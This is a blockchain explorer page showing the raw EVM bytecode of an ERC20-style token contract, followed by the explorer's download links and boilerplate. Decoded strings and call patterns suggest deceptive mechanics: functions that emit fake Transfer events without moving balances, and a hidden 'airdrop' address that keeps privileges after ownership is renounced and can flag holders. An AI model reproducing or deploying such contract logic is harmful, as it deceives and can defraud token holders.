1977565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611a3e6026836113a6565b9150611a49826119e4565b604082019050919050565b5f6020820190508181035f830152611a6b81611a32565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611acc6024836113a6565b9150611ad782611a72565b604082019050919050565b5f6020820190508181035f830152611af981611ac0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611b5a6022836113a6565b9150611b6582611b00565b604082019050919050565b5f6020820190508181035f830152611b8781611b4e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611bc2601d836113a6565b9150611bcd82611b8e565b602082019050919050565b5f6020820190508181035f830152611bef81611bb6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611c506025836113a6565b9150611c5b82611bf6565b604082019050919050565b5f6020820190508181035f830152611c7d81611c44565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611cde6023836113a6565b9150611ce982611c84565b604082019050919050565b5f6020820190508181035f830152611d0b81611cd2565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611d6c6026836113a6565b9150611d7782611d12565b604082019050919050565b5f6020820190508181035f830152611d9981611d60565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611dd46020836113a6565b9150611ddf82611da0565b602082019050919050565b5f6020820190508181035f830152611e0181611dc8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611e3f82611497565b9150611e4a83611497565b925082611e5a57611e59611e08565b5b82820490509291505056fea2646970667358221220c70b4aeabd7c89f46a5d29cbbb18d2f60c9390ef0e4905225b0be054da93e53364736f6c63430008190033

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061012a575f3560e01c8063715018a6116100ab578063beabacc81161006f578063beabacc81461031c578063ca72a4e714610338578063dd62ed3e14610354578063e2f4560514610384578063f2fde38b146103a25761012a565b8063715018a61461028a5780638da5cb5b1461029457806395d89b41146102b2578063a9059cbb146102d0578063b18834aa146103005761012a565b806326ededb8116100f257806326ededb8146101e6578063313ce56714610202578063321bef231461022057806349bd5a5e1461023c57806370a082311461025a5761012a565b806306fdde031461012e578063095ea7b31461014c57806318160ddd1461017c5780632349e24a1461019a57806323b872dd146101b6575b5f80fd5b6101366103be565b604051610143919061140c565b60405180910390f35b610166600480360381019061016191906114ca565b61044e565b6040516101739190611522565b60405180910390f35b610184610470565b604051610191919061154a565b60405180910390f35b6101b460048036038101906101af91906116cd565b610479565b005b6101d060048036038101906101cb9190611727565b610656565b6040516101dd9190611522565b60405180910390f35b61020060048036038101906101fb91906117d0565b610684565b005b61020a610751565b6040516102179190611848565b60405180910390f35b61023a600480360381019061023591906117d0565b610759565b005b610244610826565b6040516102519190611870565b60405180910390f35b610274600480360381019061026f9190611889565b61084b565b604051610281919061154a565b60405180910390f35b610292610891565b005b61029c6108a4565b6040516102a99190611870565b60405180910390f35b6102ba6108cb565b6040516102c7919061140c565b60405180910390f35b6102ea60048036038101906102e591906114ca565b61095b565b6040516102f79190611522565b60405180910390f35b61031a600480360381019061031591906117d0565b61097d565b005b61033660048036038101906103319190611727565b610a4a565b005b610352600480360381019061034d9190611889565b610ab4565b005b61036e600480360381019061036991906118b4565b610b07565b60405161037b919061154a565b60405180910390f35b61038c610b89565b604051610399919061154a565b60405180910390f35b6103bc60048036038101906103b79190611889565b610b8f565b005b6060600480546103cd9061191f565b80601f01602080910402602001604051908101604052809291908181526020018280546103f99061191f565b80156104445780601f1061041b57610100808354040283529160200191610444565b820191905f5260205f20905b81548152906001019060200180831161042757829003601f168201915b5050505050905090565b5f80610458610c11565b9050610465818585610c18565b600191505092915050565b5f600354905090565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ff90611999565b60405180910390fd5b5f5b825181101561065157600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683828151811061055e5761055d6119b7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614806105aa57505f6105a784838151811061059a576105996119b7565b5b602002602001015161084b565b11155b8061061b5750811515600a5f8584815181106105c9576105c86119b7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161515145b61064457610643838281518110610635576106346119b7565b5b602002602001015183610ddb565b5b808060010191505061050a565b505050565b5f80610660610c11565b905061066d858285610e33565b610678858585610ebe565b60019150509392505050565b5f5b8383905081101561074b578383828181106106a4576106a36119b7565b5b90506020020160208101906106b99190611889565b73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610736919061154a565b60405180910390a38080600101915050610686565b50505050565b5f6008905090565b5f5b8383905081101561082057838382818110610779576107786119b7565b5b905060200201602081019061078e9190611889565b73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161080b919061154a565b60405180910390a3808060010191505061075b565b50505050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108996111e6565b6108a25f611264565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546108da9061191f565b80601f01602080910402602001604051908101604052809291908181526020018280546109069061191f565b80156109515780601f1061092857610100808354040283529160200191610951565b820191905f5260205f20905b81548152906001019060200180831161093457829003601f168201915b5050505050905090565b5f80610965610c11565b9050610972818585610ebe565b600191505092915050565b5f5b83839050811015610a445783838281811061099d5761099c6119b7565b5b90506020020160208101906109b29190611889565b73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a2f919061154a565b60405180910390a3808060010191505061097f565b50505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610aa7919061154a565b60405180910390a3505050565b610abc6111e6565b80600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b04610891565b50565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60095481565b610b976111e6565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfc90611a54565b60405180910390fd5b610c0e81611264565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7d90611ae2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ceb90611b70565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dce919061154a565b60405180910390a3505050565b80600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f610e3e8484610b07565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610eb85781811015610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea190611bd8565b60405180910390fd5b610eb78484848403610c18565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2390611c66565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9190611cf4565b60405180910390fd5b5f610fa43061084b565b90505f6009548210159050808015610fc8575060085f9054906101000a900460ff16155b801561101a5750600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561105c57600160085f6101000a81548160ff02191690831515021790555061104285611325565b5f60085f6101000a81548160ff0219169083151502179055505b5f60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050838110156110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d790611d82565b60405180910390fd5b83810360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516111cb919061154a565b60405180910390a36111de868686611397565b505050505050565b6111ee610c11565b73ffffffffffffffffffffffffffffffffffffffff1661120c6108a4565b73ffffffffffffffffffffffffffffffffffffffff1614611262576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125990611dea565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f61132f8261084b565b90505f60019050600a8211156113455760065490505b80826113519190611e35565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6113de8261139c565b6113e881856113a6565b93506113f88185602086016113b6565b611401816113c4565b840191505092915050565b5f6020820190508181035f83015261142481846113d4565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114668261143d565b9050919050565b6114768161145c565b8114611480575f80fd5b50565b5f813590506114918161146d565b92915050565b5f819050919050565b6114a981611497565b81146114b3575f80fd5b50565b5f813590506114c4816114a0565b92915050565b5f80604083850312156114e0576114df611435565b5b5f6114ed85828601611483565b92505060206114fe858286016114b6565b9150509250929050565b5f8115159050919050565b61151c81611508565b82525050565b5f6020820190506115355f830184611513565b92915050565b61154481611497565b82525050565b5f60208201905061155d5f83018461153b565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61159d826113c4565b810181811067ffffffffffffffff821117156115bc576115bb611567565b5b80604052505050565b5f6115ce61142c565b90506115da8282611594565b919050565b5f67ffffffffffffffff8211156115f9576115f8611567565b5b602082029050602081019050919050565b5f80fd5b5f61162061161b846115df565b6115c5565b905080838252602082019050602084028301858111156116435761164261160a565b5b835b8181101561166c57806116588882611483565b845260208401935050602081019050611645565b5050509392505050565b5f82601f83011261168a57611689611563565b5b813561169a84826020860161160e565b91505092915050565b6116ac81611508565b81146116b6575f80fd5b50565b5f813590506116c7816116a3565b92915050565b5f80604083850312156116e3576116e2611435565b5b5f83013567ffffffffffffffff811115611700576116ff611439565b5b61170c85828601611676565b925050602061171d858286016116b9565b9150509250929050565b5f805f6060848603121561173e5761173d611435565b5b5f61174b86828701611483565b935050602061175c86828701611483565b925050604061176d868287016114b6565b9150509250925092565b5f80fd5b5f8083601f8401126117905761178f611563565b5b8235905067ffffffffffffffff8111156117ad576117ac611777565b5b6020830191508360208202830111156117c9576117c861160a565b5b9250929050565b5f805f604084860312156117e7576117e6611435565b5b5f84013567ffffffffffffffff81111561180457611803611439565b5b6118108682870161177b565b93509350506020611823868287016114b6565b9150509250925092565b5f60ff82169050919050565b6118428161182d565b82525050565b5f60208201905061185b5f830184611839565b92915050565b61186a8161145c565b82525050565b5f6020820190506118835f830184611861565b92915050565b5f6020828403121561189e5761189d611435565b5b5f6118ab84828501611483565b91505092915050565b5f80604083850312156118ca576118c9611435565b5b5f6118d785828601611483565b92505060206118e885828601611483565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061193657607f821691505b602082108103611949576119486118f2565b5b50919050565b7f5f61697264726f704164647265737320657272000000000000000000000000005f82015250565b5f6119836013836113a6565b915061198e8261194f565b602082019050919050565b5f6020820190508181035f8301526119b081611977565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611a3e6026836113a6565b9150611a49826119e4565b604082019050919050565b5f6020820190508181035f830152611a6b81611a32565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611acc6024836113a6565b9150611ad782611a72565b604082019050919050565b5f6020820190508181035f830152611af981611ac0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611b5a6022836113a6565b9150611b6582611b00565b604082019050919050565b5f6020820190508181035f830152611b8781611b4e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611bc2601d836113a6565b9150611bcd82611b8e565b602082019050919050565b5f6020820190508181035f830152611bef81611bb6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611c506025836113a6565b9150611c5b82611bf6565b604082019050919050565b5f6020820190508181035f830152611c7d81611c44565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611cde6023836113a6565b9150611ce982611c84565b604082019050919050565b5f6020820190508181035f830152611d0b81611cd2565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611d6c6026836113a6565b9150611d7782611d12565b604082019050919050565b5f6020820190508181035f830152611d9981611d60565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611dd46020836113a6565b9150611ddf82611da0565b602082019050919050565b5f6020820190508181035f830152611e0181611dc8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611e3f82611497565b9150611e4a83611497565b925082611e5a57611e59611e08565b5b82820490509291505056fea2646970667358221220c70b4aeabd7c89f46a5d29cbbb18d2f60c9390ef0e4905225b0be054da93e53364736f6c63430008190033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.